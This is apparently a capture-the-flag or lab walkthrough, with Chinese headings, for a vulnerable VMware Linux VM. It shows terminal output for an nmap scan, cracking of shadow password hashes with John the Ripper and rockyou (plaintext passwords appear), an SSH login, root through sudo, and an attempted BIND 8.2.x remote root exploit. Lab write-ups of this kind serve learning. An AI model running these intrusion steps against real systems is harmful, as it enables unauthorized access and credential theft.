root@kali:~# nmap -sn -v 192.168.142.0/24 Nmap scan report for 192.168.142.132 Host is up (0.00015s latency). MAC Address: 00:0C:29:0A:54:68 (VMware)
1 2 3 4 5 6 7 8 9 10 11
root@kali:~# nmap -sV -Pn -p- -v 192.168.142.132 PORT STATE SERVICE VERSION 21/tcp open ftp 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99) 25/tcp open smtp Sendmail 53/tcp open domain ISC BIND 8.2.2-REL 80/tcp open http Apache httpd 1.3.31 ((Unix)) 587/tcp open smtp Sendmail 631/tcp open ipp CUPS 1.1 3306/tcp open mysql MySQL (unauthorized) 10000/tcp open http MiniServ 0.01 (Webmin httpd)
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt /root/goastshadow Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bobby (jpelman) kokomo (jblow) guest (guest) gaping (goatse) 4g 0:00:00:49 DONE (2019-12-18 21:35) 0.08014g/s 282509p/s 320894c/s 320894C/s !!!0mc3t..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed
使用其中一个用户goatse登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~# ssh goatse@192.168.142.132 The authenticity of host '192.168.142.132 (192.168.142.132)' can't be established. RSA key fingerprint is SHA256:25uPigwKnzugpFkHd91FCdBukcikll8dkH4oV7OQROY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.142.132' (RSA) to the list of known hosts. goatse@192.168.142.132's password: Linux 2.6.15. goatse@slax:~$ id uid=1002(goatse) gid=10(wheel) groups=10(wheel) goatse@slax:~$ whoami goatse goatse@slax:~$ pwd /home/goatse goatse@slax:~$
提权1
1 2 3 4 5 6 7 8
goatse@slax:~$ uname -a Linux slax 2.6.15 #1 SMP Tue Jan 10 07:53:57 GMT 2006 i686 unknown unknown GNU/Linux goatse@slax:~$ sudo -s Password: root@slax:~# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) root@slax:~# whoami root
goatse@slax:~$ gcc 282.c -o bind 282.c:565:28: warning: no newline at end of file goatse@slax:~$ ls 282.c* bind* test.sh* oatse@slax:~$ ./bind 127.0.0.1 [*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix [*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net
[*] attacking 127.0.0.1 (127.0.0.1) [d] HEADER is 12 long [d] infoleak_qry was 476 long [*] iquery resp len = 719 [d] argevdisp1 = 080d7cd0, argevdisp2 = b7daea64 [*] retrieved stack offset = bfc2a8f8 [d] evil_query(buff, bfc2a8f8) [d] shellcode is 134 long [d] olb = 248 [x] could not write our data in buffer (offset0=56, rroffsetidx=4) [x] error sending tsig packet
